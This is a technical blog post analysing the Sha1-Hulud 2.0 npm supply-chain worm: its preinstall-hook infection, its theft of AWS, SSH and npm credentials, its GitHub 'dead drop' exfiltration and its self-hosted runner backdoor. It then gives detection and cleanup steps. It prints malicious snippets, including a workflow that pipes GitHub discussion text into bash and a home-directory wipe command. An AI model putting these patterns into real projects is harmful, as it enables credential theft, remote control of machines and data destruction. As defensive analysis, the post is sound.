From Infection to Replication: The Mechanics of Sha1-Hulud 2.0

If you think your npm install is safe because you haven't typed it in a while, think again.
We are currently witnessing the "Second Coming" of the Sha1-Hulud malware campaign. It’s not just another script-kiddie virus; it is a sophisticated, self-replicating worm that turns the tools we trust—GitHub, npm, and our own CI pipelines—into weapons against us.
This isn't just about stolen passwords. It’s about how attackers are mastering the art of Living off the Land (LotL) to bypass our defenses by looking exactly like us.
Here is the technical breakdown of how Sha1-Hulud 2.0 works, why it’s dangerous, and how to verify if your machine has been turned into a zombie runner.
The Name: Why "Sha1-Hulud"?
For the sci-fi fans, the name is a nod to the giant sandworms of Arrakis from Frank Herbert’s Dune, known as Shai-Hulud. The metaphor chosen by the attackers is terrifyingly accurate:
It is a Worm: The malware is self-replicating, burrowing through the npm registry to infect new packages automatically.
The Harvest: In Dune, the worms guard the Spice. In this attack, the worm hunts for "digital spice"—your AWS keys, NPM tokens, and SSH credentials.
The Scale: Just like the massive creatures in the books, the blast radius here is enormous, impacting over 25,000 repositories in a matter of days.
The Anatomy of the Attack
Most supply chain attacks are smash-and-grab jobs. Sha1-Hulud is different; it’s an ecosystem occupier. It moves through three distinct phases: Infection, Persistence, and Replication.
1. The Infection: "Preinstall" Panic
The attack starts when you install a compromised npm package (thousands have been infected, including popular ones from Zapier and ENS Domains).
Unlike older malware that waits for the postinstall hook, Sha1-Hulud strikes early using preinstall.
// Malicious package.json
{
"scripts": {
"preinstall": "node setup_bun.js"
}
}
The moment the download finishes, setup_bun.js runs. It acts as a Loader, determining if it's on a developer's laptop or a CI/CD server.
On Dev Machines: It spawns a detached background process (so your terminal doesn't freeze).
On CI/CD: It runs synchronously to keep the runner alive long enough to exfiltrate secrets.
2. The Theft: Living off the Land
Once active, the malware doesn't download custom hacking tools. It uses your tools. It scans for:
~/.aws/credentials(AWS Keys)~/.ssh/id_rsa(SSH Keys)npmrctokensGitHub Personal Access Tokens (PATs)
It then performs a "Dead Drop" exfiltration. Instead of sending data to a blacklisted IP, it uses the legitimate GitHub API to create a new repository on your account (often named with "Sha1-Hulud" in the description) and uploads your secrets there as JSON files.
3. The Backdoor: The "Zombie" Runner
This is the most technically impressive part. The attackers don't just want your data; they want your compute.
The malware uses your stolen GitHub token to register your machine as a Self-Hosted GitHub Action Runner. It then commits a workflow file named .github/workflows/discussion.yaml to the repo.
The "Chat" that Kills: This workflow is a listener. The attacker can simply open a Discussion thread in that repo and type a command. Your machine, which is polling GitHub for work, sees the discussion, reads the command, and executes it.
# Simplified Logic of the Backdoor
on: discussion
jobs:
run_command:
runs-on: self-hosted # YOUR MACHINE
steps:
- run: echo "${{ github.event.discussion.body }}" | bash
This bypasses firewalls because the traffic is outbound (your machine asking GitHub for work) and goes to a trusted domain (github.com).
Detection: The Full Audit
Because this attack uses legitimate binaries (node, Runner.Listener), standard antivirus tools often miss it. You need to hunt for behavior and artifacts, both on your local machine and in your cloud environment.
Phase 1: The Local Machine (Your Laptop)
1. The "Zombie" Process Open your terminal. You are looking for a GitHub Runner process that you didn't start.
Bash
ps aux | grep Runner.Listener
🚩 Red Flag: If you see Runner.Listener running and you typically rely on cloud runners (like GitHub Actions default runners), your machine is compromised.
2. The Hidden Configuration The malware stores its connection config in a hidden file.
Bash
find ~ -name ".runner" 2>/dev/null
🚩 Red Flag: Finding this file in a temp folder or a hidden subdirectory (e.g., ~/.hidden/.runner) confirms the backdoor is active.
3. The Payload Artifacts The malware drops specific files to handle the "preinstall" logic. Search your file system for these specific names:
setup_bun.js(The loader)bun_environment.js(The encrypted payload)cloud.jsonortruffleSecrets.json(Staged files containing your stolen keys)
4. Persistence Checks (MacOS/Linux) The malware wants to survive a reboot. Check your startup tasks:
MacOS: Check
~/Library/LaunchAgents/for suspicious.plistfiles referencing the runner.Linux: Check
~/.config/systemd/user/or standardcronjobs (crontab -l).
Phase 2: The Cloud (GitHub & AWS)
Even if you clean your laptop, the attacker might still have access to your cloud accounts.
1. The "Sleeper" Runner This is the most critical check.
Go to: GitHub Organization/Repo Settings -> Actions -> Runners.
Look for: Any "Self-hosted" runner that is currently "Idle" or "Active" that you do not recognize.
Action: If you see one, click "Remove" immediately and revoke the token used to register it.
2. The "Dead Drop" Repositories Check your own GitHub profile for repositories created recently that you don't remember making.
Look for: Repositories with descriptions like "Sha1-Hulud: The Second Coming" or random strings.
Check: The "Secrets" or "Settings" of these repos—attackers often store the stolen data as "Artifacts" or committed JSON files inside them.
3. Cloud Identity Audit If your AWS/Azure keys were on your machine, assume they are compromised. Check your CloudTrail or Activity Logs for:
sts:GetCallerIdentity(The attacker checking "who am I?")secretsmanager:ListSecrets(The attacker looking for more loot)Any API calls originating from IP addresses that don't match your home or office VPN..
Check 3: The "Dead Man's Switch"
Be careful. The malware contains a wiper logic. If it fails to connect to its C2 (GitHub) or detects it is being cornered, it may attempt to wipe your home directory (rm -rf ~). Disconnect from the internet immediately before attempting remediation if you suspect an active infection.
The Takeaway: Trust No Package
The Sha1-Hulud 2.0 campaign is a wake-up call. It proves that "Living off the Land" isn't just for nation-state hackers; it's now part of the automated supply chain toolkit.
Actionable Tips:
Audit your Personal Access Tokens (PATs): If you have tokens with
repoorworkflowscope that don't expire, rotate them now.Disable Scripts: If you are auditing a package, use
npm install --ignore-scripts.Check your Repos: Look at your own GitHub profile. Do you see any new repositories you didn't create? That is the hallmark of this specific infection.
Stay paranoid, stay safe.
Found this technical deep-dive helpful? Share it with your engineering team before your next npm install.



